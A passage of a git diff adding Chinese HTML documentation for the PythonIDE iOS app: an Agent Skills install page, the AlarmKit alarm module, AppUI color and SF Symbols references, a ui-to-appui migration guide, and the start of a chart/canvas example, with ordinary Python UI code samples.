一行命令安装 Skills,配合 AppUI、Widget 与 iOS 原生文档使用。

+
+
npx skills add Python-IDE/pythonide-skills -g
+
+

编码 Agent(如 Codex、Claude Code、Gemini CLI 等)中编写 PythonIDE 代码时,先安装本站的 Agent Skills。Skills 提供执行规则;完整 API 仍以左侧文档与公开 schema 为准。

+
边界:这是给 电脑上的编码 Agent 用的安装包,不是 PythonIDE App 内的 AI 助手,也不是替代在线文档的第二套手册。
+

#你会得到什么

+

一次安装会带上 6 个互补 Skill:

+
Skill何时生效
pythonide先判断该用 AppUI、Widget、scene 还是原生模块
pythonide-appui编写或修改 AppUI MiniApp
pythonide-native选型并调用 iOS 原生模块、权限与存储
pythonide-widget编写 iOS 主屏幕小组件
pythonide-scene2D 游戏、场景与 turtle
pythonide-automation快捷指令、legacy ui、纯 Python 自动化
+

带相机、定位、通知的 AppUI 应用会同时用到 pythonide-appuipythonide-native(Skills 内已互链)。

+

#与六大开发路径的对应

+
文档路径相关 Skill
appuipythonide-appui
widgetpythonide-widget
scenepythonide-scene
iOS 原生模块pythonide-native
自动化与扩展pythonide-automation
不确定 runtimepythonide
+

#文档分工

+
层级作用
Agent Skills怎么写、禁止什么、何时配对哪个 skill
本站中文文档模块说明、示例、场景配方
schema / stubsAPI 签名与原生能力路由(机器可读)
+

编写时:先遵守 Skill 规则,再查模块文档,再用 schema 校验 API 名称。

+

#机器可读资源

+ +

#常见误区

+
  • 不要在 AppUI body()直接申请权限、定位、拍照或发网络请求;放在命名回调里。
  • 内联控件优先PhotoPickerCameraPickerMapViewFileImporterShareLinkVideoPlayer
  • App 内 AI 助手编码 Agent Skills 是两套体系;前者在 iPhone/iPad App 里,后者在电脑终端安装。
  • 不要编造 API;以 schema 与各模块文档为准。
+

#相关文档

+ +

#安装示例

+
+
+ bash +
+
+
npx skills add Python-IDE/pythonide-skills
+
+

预期效果:编码 Agent 工作区出现 pythonidepythonide-appui 等 Skills,可在写 MiniApp 前自动加载规则。

+
+ +
+ +
+ +
+
+ + + diff --git a/docs/docs/pages/alarm-module/index.html b/docs/docs/pages/alarm-module/index.html new file mode 100644 index 0000000..c2468d0 --- /dev/null +++ b/docs/docs/pages/alarm-module/index.html @@ -0,0 +1,486 @@ + + + + + + alarm - PythonIDE Docs + + + + + + + +
+ + PythonIDE Docs + +
+ 中文 +
+ 简体中文 + +
+
+ +
+
+ +
+ +
+
+ +

alarm

+

系统闹钟调度(AlarmKit,iOS 18+)。

+
+ +
+

系统闹钟调度(AlarmKit):创建、列出和取消闹钟。

+
边界:需要 iOS 26+ 且设备支持 AlarmKit;先用 is_available() 判断。与 notification 本地通知不同——闹钟走系统闹钟体验。调度放在用户操作回调里,不要在 body() 中调用。
+

#模块概览

+
说明
导入import alarm
适合做什么起床提醒、定时闹钟、重复闹钟
调用时机schedule() / cancel() 放在按钮回调
推荐顺序is_available()request_authorization()schedule()list_alarms()
标识符schedule() 返回 alarm_id,用于 cancel()
+
+

#快速开始

+

下面脚本检查可用性、申请权限、创建并列出闹钟:

+
+
+ python +
+
+
import alarm
+
+if not alarm.is_available():
+    print("当前系统不支持 AlarmKit(需 iOS 26+)")
+else:
+    try:
+        if alarm.request_authorization():
+            alarm_id = alarm.schedule("起床", 7, 30, repeats=True)
+            print("已创建:", alarm_id)
+            print(alarm.list_alarms())
+            alarm.cancel(alarm_id)
+        else:
+            print("未获得闹钟权限")
+    except alarm.AlarmError as exc:
+        print("闹钟操作失败:", exc, f"code={exc.code}")
+
+
+

#AppUI 示例

+

授权和调度放在按钮回调;列表展示当前闹钟。

+
+
+ python +
+
+
import appui
+import alarm
+
+state = appui.State(
+    available=alarm.is_available(),
+    auth="未查询",
+    alarms=[],
+    status="点击按钮管理闹钟",
+)
+
+
+def refresh_list():
+    try:
+        state.alarms = alarm.list_alarms() or []
+    except alarm.AlarmError as exc:
+        state.status = f"读取失败: {exc}"
+
+
+def request_access():
+    if not state.available:
+        state.status = "当前系统不支持 AlarmKit"
+        return
+    try:
+        ok = alarm.request_authorization()
+        state.auth = "已授权" if ok else "未授权"
+        state.status = state.auth
+        if ok:
+            refresh_list()
+    except alarm.AlarmError as exc:
+        state.status = f"授权失败: {exc}"
+
+
+def add_demo_alarm():
+    if not state.available:
+        state.status = "系统不支持"
+        return
+    try:
+        if not alarm.request_authorization():
+            state.status = "请先授权"
+            return
+        alarm.schedule("演示闹钟", 8, 0, repeats=False)
+        refresh_list()
+        state.status = "已添加 08:00 闹钟"
+    except alarm.AlarmError as exc:
+        state.status = f"创建失败: {exc}"
+
+
+def cancel_first():
+    if not state.alarms:
+        state.status = "没有可取消的闹钟"
+        return
+    try:
+        alarm_id = state.alarms[0].get("alarm_id")
+        if alarm_id:
+            alarm.cancel(alarm_id)
+            refresh_list()
+            state.status = f"已取消 {alarm_id[:8]}…"
+    except alarm.AlarmError as exc:
+        state.status = f"取消失败: {exc}"
+
+
+def body():
+    rows = []
+    for item in state.alarms:
+        title = item.get("title", "闹钟")
+        hour = item.get("hour", 0)
+        minute = item.get("minute", 0)
+        repeats = "每天" if item.get("repeats") else "一次"
+        rows.append(
+            appui.LabeledContent(
+                title,
+                value=f"{hour:02d}:{minute:02d} · {repeats}",
+            )
+        )
+
+    return appui.NavigationStack(
+        appui.Form([
+            appui.Section("环境", [
+                appui.LabeledContent(
+                    "AlarmKit",
+                    value="可用" if state.available else "不可用(需 iOS 26+)",
+                ),
+                appui.LabeledContent("授权", value=state.auth),
+            ]),
+            appui.Section("闹钟列表", rows or [
+                appui.ContentUnavailableView(
+                    "暂无闹钟",
+                    system_image="alarm",
+                    description="点击下方按钮添加",
+                )
+            ]),
+            appui.Section("操作", [
+                appui.Button("申请权限", action=request_access),
+                appui.Button("添加 08:00 闹钟", action=add_demo_alarm)
+                .button_style("bordered_prominent"),
+                appui.Button("取消第一个", action=cancel_first, role="destructive"),
+                appui.Text(state.status).foreground_color("secondaryLabel"),
+            ], footer="真机 + iOS 26+ 测试;与本地通知是不同能力。"),
+        ]).navigation_title("闹钟")
+    )
+
+
+appui.run(body, state=state)
+
+
+

#API 参考

+

#速查

+
API作用
is_available()是否支持 AlarmKit
request_authorization()申请闹钟权限 → bool
schedule(title, hour, minute, repeats)创建闹钟 → alarm_id
cancel(alarm_id)取消指定闹钟
list_alarms()已调度闹钟列表
AlarmError操作失败时抛出
+

#可用性与授权

+
+
+ python +
+
+
import alarm
+
+if alarm.is_available():
+    ok = alarm.request_authorization()
+
+

is_available() 在低于 iOS 26 或 Bridge 不可用时返回 False

+

#调度

+

schedule(title, hour, minute, repeats=False)

+
+
+ python +
+
+
alarm_id = alarm.schedule("会议提醒", 9, 15)
+alarm_id = alarm.schedule("每日起床", 7, 0, repeats=True)
+
+
参数说明
title闹钟标题
hour0–23
minute0–59
repeats是否每天重复
+

返回字符串 alarm_id,传给 cancel() 使用。

+

list_alarms() — 返回 [{alarm_id, title, hour, minute, repeats, state}, ...]

+

cancel(alarm_id) — 取消并移除记录。

+

#异常

+
code含义
unavailable系统版本不支持 AlarmKit
invalid_input参数缺失(如没有 title
timeout异步授权超时
+
+

#常见错误

+
错误写法后果修正
不检查 is_available()低版本直接崩溃先判断再调度
当成 notificationAPI 与体验不同按闹钟场景选模块
body()schedule()刷新时重复创建放进按钮回调
丢失 alarm_id无法取消保存 schedule() 返回值
+
+

#相关文档

+
文档用途
notification本地通知与角标
permission其他权限查询
原生能力入口MiniApp 场景配方
+

#预期效果

+

运行示例后,界面应出现文档描述的目标结果;若与预期不符,先看「失败路径」并按返回值或日志排查。

+
+ +
+ +
+ +
+
+ + + diff --git a/docs/docs/pages/appui-appendix-colors/index.html b/docs/docs/pages/appui-appendix-colors/index.html new file mode 100644 index 0000000..8e21072 --- /dev/null +++ b/docs/docs/pages/appui-appendix-colors/index.html @@ -0,0 +1,463 @@ + + + + + + 附录: 颜色参考 - PythonIDE Docs + + + + + + + +
+ + PythonIDE Docs + +
+ 中文 +
+ 简体中文 + +
+
+ +
+
+ +
+ +
+
+ +

附录: 颜色参考

+

语义色、十六进制、RGB/RGBA 和深色模式建议。

+
+ +
+

appui 支持系统语义色、十六进制颜色、RGB 元组和灰度值。理解这些规则有助于在 TextShapeChart 与修饰符中一致地配色。

+

#支持的写法

+
形式示例说明
命名字符串"systemBlue""label"与 iOS 语义色、系统色名称一致(由 系统解析)。
十六进制"#FF5533""#22AAFFAA"支持 #RRGGBB 或带透明度的 8 位形式。
RGB / RGBA 元组(1.0, 0.2, 0.0)(0, 0.5, 1, 0.4)分量范围为 0.0–1.0,转换为 #RRGGBB / #RRGGBBAA
灰度标量0.35数值会转换为对应灰度颜色。
Color 视图appui.Color(value="systemTeal")用于在布局中放置一块纯色区域;亦可用 red / green / blue 分量构造。
+

#语义色与背景层次

+

下列名称常用于阅读层次与背景分层(浅色模式下对比更明显;深色模式下系统会自动调整对比度):

+
  • 文字层次labelsecondaryLabeltertiaryLabel
  • 背景层次systemBackgroundsecondarySystemBackgroundtertiarySystemBackground
  • 分隔与填充separatorsystemFillsecondarySystemFilltertiarySystemFill(若当前 SDK 映射存在)
+

#系统强调色(摘录)

+

适合图表、图标与强调文案:systemBluesystemRedsystemGreensystemOrangesystemPurplesystemPinksystemYellowsystemTealsystemCyansystemIndigosystemGraysystemBrownsystemMint

+

#深浅色对比的实践建议

+
  1. 正文与背景:正文优先 labelsystemBackground,次级说明用 secondaryLabel,避免硬编码纯黑纯白。
  2. 卡片与列表:卡片背景用 secondarySystemBackgroundtertiarySystemBackground,分隔用 separator 或细线 Divider()
  3. 强调操作:主按钮 tint 与关键数字可用 systemBlue 或品牌主色十六进制;警告用 systemOrange / systemRed
  4. 强制预览:调试深浅色时,可在根视图上链式调用 .preferred_color_scheme('light').preferred_color_scheme('dark')(参见下方示例)。
+

#可运行示例:色板与深浅切换

+
+
+ python +
+
+
import appui
+
+state = appui.State(
+    preview_dark=True,
+    accent_hex="#5AC8FA",
+)
+
+
+def swatch_row(title, color_token):
+    return appui.HStack(
+        [
+            appui.Text(title).frame(max_width=appui.infinity, alignment="leading"),
+            appui.Rectangle()
+            .fill(color_token)
+            .frame(width=52, height=30)
+            .corner_radius(6)
+            .overlay(appui.Rectangle().stroke("separator", line_width=1).corner_radius(6)),
+        ],
+        spacing=12,
+    )
+
+
+def set_preview_dark(value):
+    state.preview_dark = bool(value)
+
+
+def set_accent_hex(value):
+    state.accent_hex = value
+
+
+def body():
+    scheme = "dark" if state.preview_dark else "light"
+    palette = appui.Form(
+        [
+            appui.Section(
+                content=[
+                    appui.Toggle(
+                        "深色预览",
+                        is_on=state.preview_dark,
+                        on_change=set_preview_dark,
+                    ),
+                    appui.LabeledContent(
+                        "自定义强调色",
+                        content=appui.ColorPicker(
+                            label="",
+                            selection=state.accent_hex,
+                            on_change=set_accent_hex,
+                        ),
+                    ),
+                ],
+                header="外观",
+            ),
+            appui.Section(
+                content=[
+                    swatch_row("label", "label"),
+                    swatch_row("secondaryLabel", "secondaryLabel"),
+                    swatch_row("systemBackground", "systemBackground"),
+                    swatch_row("secondarySystemBackground", "secondarySystemBackground"),
+                ],
+                header="语义色",
+            ),
+            appui.Section(
+                content=[
+                    swatch_row("systemBlue", "systemBlue"),
+                    swatch_row("systemGreen", "systemGreen"),
+                    swatch_row("systemOrange", "systemOrange"),
+                    swatch_row("RGB 元组红", (0.95, 0.2, 0.25)),
+                    swatch_row("十六进制", state.accent_hex),
+                ],
+                header="强调与自定义",
+            ),
+        ]
+    ).navigation_title("颜色参考")
+    return appui.NavigationStack(palette).preferred_color_scheme(scheme)
+
+
+appui.run(body, state=state, presentation="sheet")
+
+

#Shape / Chart 的配合

+
  • Rectangle().fill("systemIndigo")RoundedRectangle(corner_radius=8).fill((0.2, 0.6, 0.9)) 都支持同样的颜色表达。
  • Chart(..., color="systemTeal")color 参数同样支持上述写法。
+

#常见误区

+
  • 混用 0–255 与 0–1:元组形式为 0–1 浮点;若手边是 8 位 RGB,请先除以 255 或改用 #RRGGBB 字符串。
  • 过度使用纯语义灰:图表多系列时,仍建议为每条序列指定可区分的系统色或十六进制色。
+

#浅色与深色下的观感差异(概念说明)

+

语义色并非固定 RGB,而是随 traitCollection 与界面层级自动映射:

+
  • 浅色 模式下,systemBackground 趋向明亮底,label 趋向近黑文本,层次靠 secondaryLabel 等拉开。
  • 深色 模式下,同一 token 会切换为更高对比、更低眩光的组合,避免大块刺眼的纯白。
  • 调试时可用上文示例中的 .preferred_color_scheme('light' | 'dark') 固定外观;发布给用户时通常移除该修饰符以尊重系统设置。
+

#foreground_color / foreground_style / tint 的分工

+
  • foreground_color:多用于 TextImage 等着色前景内容。
  • foreground_style:可承载更复杂的前景色描述,如渐变名或材质名。
  • tint:作用于控件强调色(如按钮、开关),与 Button(...).button_style("bordered_prominent") 等组合时影响默认着色。
+

#可运行片段:纯色条与十六进制

+

下面是一段不依赖 NavigationStack 的极简布局,用于快速验证十六进制、元组和语义色是否能正常渲染。

+
+
+ python +
+
+
import appui
+
+state = appui.State()
+
+
+def body():
+    return appui.VStack(
+        [
+            appui.Text("Hex 与元组").font("headline"),
+            appui.HStack(
+                [
+                    appui.Rectangle().fill("#34C759").frame(width=60, height=32).corner_radius(6),
+                    (
+                        appui.Rectangle()
+                        .fill((0.95, 0.45, 0.1))
+                        .frame(width=60, height=32)
+                        .corner_radius(6)
+                    ),
+                    (
+                        appui.Rectangle()
+                        .fill("systemIndigo")
+                        .frame(width=60, height=32)
+                        .corner_radius(6)
+                    ),
+                ],
+                spacing=12,
+            ),
+        ],
+        spacing=16,
+    ).padding(24)
+
+
+appui.run(body, state=state, presentation="sheet")
+
+

#语义色与系统色速查表(字符串字面量)

+

下列名称均可直接传给 foreground_colorbackground(color=...)tintChart(..., color=...) 等接受颜色值的 API。

+

文本与灰阶

+
  • label, secondaryLabel, tertiaryLabel
+

背景层次

+
  • systemBackground, secondarySystemBackground, tertiarySystemBackground
+

分隔与填充

+
  • separator, systemFill, secondarySystemFill, tertiarySystemFill
+

系统强调色(摘录)

+
  • systemBlue, systemRed, systemGreen, systemOrange, systemPurple, systemPink, systemYellow, systemTeal, systemCyan, systemIndigo, systemGray, systemBrown, systemMint
+

在深浅色之间切换时,上述 token 的相对对比度由系统维护;自定义十六进制色不会自动随模式反转,需要自行准备两套色值或在运行时根据 preferred_color_scheme 切换。

+

#设计检查清单

+
  1. 主要正文是否使用 label 而非硬编码 "black" / "white"
  2. 卡片背景是否比页面背景高一级(secondarySystemBackground 对比 systemBackground)。
  3. 图表是否为每条序列选择可区分的系统色或品牌色,并避免红绿色盲仅靠红/绿区分关键状态。
  4. 是否在调试完成后移除强制的 .preferred_color_scheme,以尊重用户系统设置。
+
+ +
+ +
+ +
+
+ + + diff --git a/docs/docs/pages/appui-appendix-migration/index.html b/docs/docs/pages/appui-appendix-migration/index.html new file mode 100644 index 0000000..89c900b --- /dev/null +++ b/docs/docs/pages/appui-appendix-migration/index.html @@ -0,0 +1,484 @@ + + + + + + 从 ui 迁移到 appui - PythonIDE Docs + + + + + + + +
+ + PythonIDE Docs + +
+ 中文 +
+ 简体中文 + +
+
+ +
+
+ +
+ +
+
+ +

从 ui 迁移到 appui

+

命令式 旧版手动布局 API 写法迁移到声明式 AppUI。

+
+ +
+

ui 是命令式控件树,appui 是声明式 View 树。迁移时不要逐行翻译控件操作;先把界面状态整理出来,再用 body() 描述当前状态下的界面。

+

#对照表

+
ui 写法appui 写法
创建控件后设置属性在构造函数和修饰符链里声明属性
view.add_subview(...)VStack/HStack/ZStack/List/Form 组合子 View
回调里直接改控件回调里改 State
手动 push/presentNavigationStack、sheet、alert
保存控件实例用于后续修改保存状态或 Ref
frame 手算布局Stack/Grid/frame/padding
+

#最小迁移例子

+

ui 思路:

+
+
+ python +
+
+
import ui
+
+count = 0
+label = ui.Label(text="0")
+
+def add(sender):
+    global count
+    count += 1
+    label.text = str(count)
+
+button = ui.Button(title="Add")
+button.action = add
+
+

appui 写法:

+
+
+ python +
+
+
import appui
+
+state = appui.State(count=0)
+
+
+def increment():
+    state.count += 1
+
+
+def body():
+    return appui.VStack([
+        appui.Text(str(state.count)).font("largeTitle").bold(),
+        appui.Button("Add", action=increment),
+    ], spacing=16).padding()
+
+
+appui.run(body, state=state)
+
+

重点不是 Label -> Text,而是“控件文本”变成了 state.count 的投影。

+

#列表迁移

+

旧写法通常是维护 table 数据源并手动刷新。appui 里直接让列表来自状态。

+
+
+ python +
+
+
import appui
+
+state = appui.State(items=["Milk", "Coffee"])
+
+
+def add_item():
+    state.items = list(state.items) + [f"Item {len(state.items) + 1}"]
+
+
+def item_key(item):
+    return item
+
+
+def row_view(item):
+    return appui.Text(item)
+
+
+def body():
+    return appui.NavigationStack(
+        appui.List([
+            appui.Section("Items", [
+                appui.ForEach(state.items, row_builder=row_view, key=item_key)
+            ])
+        ])
+        .navigation_title("List")
+        .toolbar([
+            appui.ToolbarItem(
+                placement="navigation_bar_trailing",
+                content=appui.Button("Add", action=add_item),
+            )
+        ])
+    )
+
+
+appui.run(body, state=state)
+
+

需要增删改的列表要么整体替换 state.items,要么使用 ObservableList;不要原地修改普通 list 后期待 UI 自动刷新。

+

#表单迁移

+

ui.TextFieldaction / delegate 通常迁移成绑定。

+
+
+ python +
+
+
import appui
+
+state = appui.State(name="", notifications=True)
+
+
+def set_name(value):
+    state.name = value
+
+
+def set_notifications(value):
+    state.notifications = value
+
+
+def body():
+    return appui.Form([
+        appui.Section("Profile", [
+            appui.TextField("Name", text=state.name, on_change=set_name),
+            appui.Toggle("Notifications", is_on=state.notifications, on_change=set_notifications),
+        ]),
+        appui.Section("Preview", [
+            appui.Text(f"Hello, {state.name or 'Guest'}"),
+        ]),
+    ]).navigation_title("Profile")
+
+
+appui.run(body, state=state)
+
+

表单字段用当前值加 on_change 写回;不要在多个地方维护同一个字段的副本。

+

#导航迁移

+

命令式 present/push 迁移到数据化导航:

+
+
+ python +
+
+
import appui
+
+path = appui.NavigationPath()
+state = appui.State(selected="A")
+
+
+def open_detail():
+    state.selected = "A"
+    path.append("detail")
+
+
+def go_back():
+    path.pop()
+
+
+def detail_destination(value):
+    return appui.VStack([
+        appui.Text(f"Detail {state.selected}").font("title2"),
+        appui.Button("Back", action=go_back),
+    ], spacing=12).padding()
+
+
+def body():
+    return appui.NavigationStack(
+        content=appui.VStack([
+            appui.Text("Home"),
+            appui.Button("Open detail", action=open_detail),
+        ], spacing=16).padding().navigation_title("Home"),
+        path=path,
+        destinations={
+            "detail": detail_destination,
+        },
+    )
+
+
+appui.run(body, state=state)
+
+

如果只是固定页面跳转,也可以用 NavigationLink

+

#迁移步骤

+
  1. 列出页面状态:文本、开关、选中项、列表数据、弹层显示状态。
  2. 把旧控件树改成 body() 返回的 View 树。
  3. 把“修改控件属性”的回调改成“修改 State”。
  4. 把 frame 手算布局改成 Stack/Grid/ScrollView。
  5. 把 push/present 改成 NavigationStack/sheet/alert。
  6. 每次迁移一屏,保留可运行入口。
+

#不要直接翻译的写法

+
旧习惯问题appui 改法
label.text = ...绕过状态源Text(f"{state.value}")
全局保存控件对象重建后对象可能失效保存 State / Ref
手动设置每个 frame不适配设备Stack + frame + padding
回调里同时改很多字段中间状态闪动state.batch_update(...)
复制其他框架参数名Python API 可能不同查 appui API 参考
+

#下一步

+ +
+ +
+ +
+ +
+
+ + + diff --git a/docs/docs/pages/appui-appendix-symbols/index.html b/docs/docs/pages/appui-appendix-symbols/index.html new file mode 100644 index 0000000..fc4ddc3 --- /dev/null +++ b/docs/docs/pages/appui-appendix-symbols/index.html @@ -0,0 +1,482 @@ + + + + + + 附录: SF Symbols 速查 - PythonIDE Docs + + + + + + + +
+ + PythonIDE Docs + +
+ 中文 +
+ 简体中文 + +
+
+ +
+
+ +
+ +
+
+ +

附录: SF Symbols 速查

+

Image、Label、Menu 中使用系统符号。

+
+ +
+

SF Symbols 与 appui.Image(system_name=...)appui.Label(title, system_image=...) 配合使用。下列名称均来自公开符号集(实际可用性随 iOS 版本略有差异;若单个符号缺失,请替换为同义图标)。

+

#按类别速览(100+)

+

#导航与结构

+

chevron.left, chevron.right, chevron.up, chevron.down, chevron.compact.left, chevron.compact.right, arrow.left, arrow.right, arrow.up, arrow.down, arrow.turn.up.left, arrow.turn.down.right, house, house.fill, gear, gearshape, gearshape.fill, sidebar.left, sidebar.right, line.3.horizontal, line.3.horizontal.decrease, ellipsis, ellipsis.circle, xmark, xmark.circle, xmark.circle.fill, plus, plus.circle, minus, menucard, square.grid.2x2, list.bullet, list.number

+

#媒体播放

+

play, play.fill, play.circle, play.circle.fill, pause, pause.fill, stop, stop.fill, forward, forward.fill, backward, backward.fill, goforward, gobackward, speaker, speaker.fill, speaker.wave.2, speaker.wave.2.fill, speaker.slash, music.note, music.note.list, waveform, mic, mic.fill, camera, camera.fill, video, video.fill, film, film.fill

+

#通信

+

envelope, envelope.fill, envelope.open.fill, phone, phone.fill, message, message.fill, bubble.left, bubble.left.fill, bubble.right, bubble.right.fill, paperplane, paperplane.fill, person.crop.circle, person.2.fill

+

#文档与内容

+

doc, doc.fill, doc.text, doc.text.fill, doc.on.doc, doc.plaintext, folder, folder.fill, tray, tray.fill, tray.and.arrow.up, tray.and.arrow.down, archivebox, archivebox.fill, book, book.fill, books.vertical.fill, bookmark, bookmark.fill, tag, tag.fill, paperclip, link, link.circle

+

#编辑与工具

+

pencil, pencil.circle, square.and.pencil, trash, trash.fill, square.and.arrow.up, square.and.arrow.down, scissors, paintbrush, paintbrush.fill, wrench.and.screwdriver, hammer, eyedropper, crop, slider.horizontal.3

+

#状态与反馈

+

checkmark, checkmark.circle, checkmark.circle.fill, xmark.seal, exclamationmark.triangle, exclamationmark.triangle.fill, info.circle, info.circle.fill, bell, bell.fill, bell.badge, star, star.fill, heart, heart.fill, flag, flag.fill, hand.thumbsup.fill, hand.thumbsdown.fill

+

#天气与自然

+

sun.max, sun.max.fill, moon, moon.fill, cloud, cloud.fill, cloud.sun.fill, cloud.rain, cloud.rain.fill, cloud.bolt.rain.fill, wind, snowflake, tornado, humidity, thermometer.sun, thermometer.snowflake, thermometer.medium

+

#系统与设备

+

wifi, wifi.slash, antenna.radiowaves.left.and.right, battery.100, battery.25, bolt.horizontal, lock, lock.fill, lock.open.fill, key, key.fill, person, person.fill, person.crop.circle.fill, faceid, touchid, mappin, mappin.and.ellipse, map, map.fill, location, location.fill, network, cpu, memorychip

+

#数学与符号

+

plus, plus.circle.fill, minus, minus.circle.fill, multiply, multiply.circle.fill, divide, divide.circle.fill, equal, percent, function, sum, number, numbers.rectangle, x.squareroot

+

#几何形状符号

+

circle, circle.fill, square, square.fill, triangle, triangle.fill, diamond, diamond.fill, hexagon, hexagon.fill, octagon, octagon.fill, capsule, capsule.fill, oval, oval.fill, rhombus, rhombus.fill

+
+

#ImageLabel 示例

+
+
+ python +
+
+
import appui
+
+state = appui.State(highlight=False)
+
+
+def toggle_highlight():
+    state.highlight = not state.highlight
+
+
+def body():
+    icon = "star.fill" if state.highlight else "star"
+    return appui.NavigationStack(
+        appui.VStack(
+            [
+                appui.HStack(
+                    [
+                        appui.Image(system_name=icon)
+                        .foreground_color("systemYellow")
+                        .image_scale("large"),
+                        appui.Label("收藏", system_image=icon).foreground_color("label"),
+                    ],
+                    spacing=16,
+                ),
+                appui.Button(
+                    "切换",
+                    action=toggle_highlight,
+                ).button_style("bordered"),
+            ],
+            spacing=24,
+        )
+        .padding(24)
+        .navigation_title("SF Symbols")
+    )
+
+
+appui.run(body, state=state, presentation="sheet")
+
+

#使用建议

+
  • 层次:导航栏、列表行内小图标优先使用 Image;需要标题+图标组合时用 Label
  • 渲染模式:对多色符号可尝试链式 .symbol_rendering_mode("palette") 等(参见 修饰符 API)。
  • 可访问性:若图标单独承载语义,请为可点击区域补充 .accessibility_label("…")
+

#在列表行里组合 Label

+
+
+ python +
+
+
import appui
+
+state = appui.State(items=["下载", "设置", "关于"])
+
+
+def row_key(title):
+    return title
+
+
+def row_view(title):
+    return appui.Label(title, system_image="folder.fill")
+
+
+def body():
+    return appui.NavigationStack(
+        appui.List([
+            appui.Section("项目", [
+                appui.ForEach(state.items, row_builder=row_view, key=row_key)
+            ])
+        ]).navigation_title("符号行")
+    )
+
+
+appui.run(body, state=state, presentation="sheet")
+
+

#命名提示

+
  • 多数 SF Symbol 同时提供 线框填充 变体(如 heartheart.fill);列表与工具栏中填充变体更易辨认。
  • 名称区分大小写,需与 Apple 官方字符串完全一致;若编译或运行期提示缺失,优先换用同目录下的替代符号。
  • Menucontent 中使用 Button(..., content=Label(...)) 可构建带图标的菜单项,与 Image 单独放置相比更利于对齐系统样式。
+

#与文档约定一致的分类速记(便于检索)

+

下列分组与示例和主文档中常用命名一致,可与上文「按类别速览」交叉对照。若符号在某 iOS 版本不可用,请以系统 SF Symbols 目录为准替换为同义图标。

+

#导航(常用)

+

chevron.left, chevron.right, arrow.left, arrow.right, house.fill, gear, sidebar.left, line.3.horizontal

+

#媒体(常用)

+

play.fill, pause.fill, stop.fill, forward.fill, backward.fill, speaker.wave.2.fill, mic.fill, camera.fill, photo.fill

+

#通信(常用)

+

envelope.fill, phone.fill, message.fill, bubble.left.fill, paperplane.fill

+

#内容(常用)

+

doc.fill, doc.text.fill, folder.fill, tray.fill, archivebox.fill, book.fill, bookmark.fill

+

#编辑(常用)

+

pencil, trash.fill, doc.on.doc, square.and.arrow.up, square.and.arrow.down, scissors, paintbrush.fill

+

#状态(常用)

+

checkmark, xmark, exclamationmark.triangle.fill, info.circle.fill, bell.fill, star.fill, heart.fill, flag.fill

+

#天气(常用)

+

sun.max.fill, moon.fill, cloud.fill, cloud.rain.fill, wind, snowflake, thermometer

+

#系统(常用)

+

wifi, antenna.radiowaves.left.and.right, battery.100, lock.fill, key.fill, person.fill, mappin

+

#数学(常用)

+

plus, minus, multiply, divide, equal, number

+

#形状符号(常用)

+

circle.fill, square.fill, triangle.fill, diamond.fill, hexagon.fill

+

#版本与渲染说明

+
  • Apple 会持续在 SF Symbols 大版本中加入新名称;同一字符串在旧系统上可能静默降级或无法显示,上线前请在目标最低 iOS 版本上实机扫一遍图标网格。
  • Image(system_name=...) 默认走模板渲染;需要保留多色符号时,使用链式 .symbol_rendering_mode("multicolor")
  • ToolbarItemList 行内,Label 通常比裸 Image + Text 更省代码,且与系统间距对齐更一致。
+ +
+
+ python +
+
+
import appui
+
+state = appui.State(picked="")
+
+
+def pick_copy():
+    state.picked = "copy"
+
+
+def pick_trash():
+    state.picked = "trash"
+
+
+def body():
+    return appui.NavigationStack(
+        appui.VStack(
+            [
+                appui.Menu(
+                    title="更多",
+                    content=[
+                        appui.Button(
+                            action=pick_copy,
+                            content=appui.Label("复制", system_image="doc.on.doc"),
+                        ),
+                        appui.Button(
+                            action=pick_trash,
+                            role="destructive",
+                            content=appui.Label("删除", system_image="trash.fill"),
+                        ),
+                    ],
+                ),
+                appui.Text(f"上次操作: {state.picked or '无'}").padding(top=12),
+            ],
+            spacing=16,
+        )
+        .padding(24)
+        .navigation_title("菜单与符号")
+    )
+
+
+appui.run(body, state=state, presentation="sheet")
+
+

注意:MenucontentButton 列表;带图标的条目使用 Button(..., content=Label(...))

+

#检索建议

+

在 macOS 上打开 SF Symbols 应用,复制名称到 system_image=;不要凭记忆手写符号名。对同一语义准备 主符号 + 备用符号(例如 doc.text.fill 不可用时退回 doc.fill),可减少用户设备差异带来的空白图标。

+
+ +
+ +
+ +
+
+ + + diff --git a/docs/docs/pages/appui-cookbook-chart-canvas-lab/index.html b/docs/docs/pages/appui-cookbook-chart-canvas-lab/index.html new file mode 100644 index 0000000..03ea75f --- /dev/null +++ b/docs/docs/pages/appui-cookbook-chart-canvas-lab/index.html @@ -0,0 +1,431 @@ + + + + + + 图表与画布实验室 - PythonIDE Docs + + + + + + + +
+ + PythonIDE Docs + +
+ 中文 +
+ 简体中文 + +
+
+ +
+
+ +
+ +
+
+ +

图表与画布实验室

+

Chart、Canvas、DrawingContext 和阈值可视化。

+
+ +
+

演示 ChartCanvas/DrawingContext:统计图优先 Chart,自定义示意图再用 Canvas。

+

#预期效果

+

运行后会出现图表与画布实验室,图表类型、强调色和阈值会联动更新。

+

#完整示例

+
+
+ python +
+
+
import appui
+
+state = appui.State(
+    chart_type="bar",
+    threshold=55.0,
+    accent="systemBlue",
+    rows=[
+        {"month": "Jan", "value": 42},
+        {"month": "Feb", "value": 64},
+        {"month": "Mar", "value": 53},
+        {"month": "Apr", "value": 78},
+        {"month": "May", "value": 69},
+    ],
+)
+
+
+def set_chart_type(value):
+    state.chart_type = value
+
+
+def set_threshold(value):
+    state.threshold = float(value)
+
+
+def set_accent(value):
+    state.accent = value
+
+
+def drawing_context():
+    ctx = appui.DrawingContext()
+    ctx.rounded_rect(
+        10, 10, 260, 140,
+        corner_radius=14,
+        color="secondarySystemBackground",
+        fill=True,
+    )
+    ctx.line(24, 118, 250, 118, color="separator", line_width=1)
+    ctx.line(24, 28, 24, 118, color="separator", line_width=1)
+    max_value = max(row["value"] for row in state.rows)
+    for index, row in enumerate(state.rows):
+        x = 42 + index * 42
+        height = 80 * row["value"] / max_value
+        color = "systemRed" if row["value"] >= state.threshold else state.accent
+        ctx.rounded_rect(x, 118 - height, 24, height, corner_radius=5, color=color, fill=True)
+        ctx.fill_text(row["month"], x - 3, 132, color="secondaryLabel", font_size=10)
+    y = 118 - 80 * state.threshold / max_value
+    ctx.line(24, y, 250, y, color="systemOrange", line_width=2)
+    ctx.fill_text("阈值", 212, y - 6, color="systemOrange", font_size=11)
+    return ctx
+
+
+def body():
+    return appui.NavigationStack(
+        appui.ScrollView(
+            appui.VStack(
+                [
+                    appui.Form(
+                        [
+                            appui.Section(
+                                [
+                                    appui.Picker(
+                                        "图表类型",
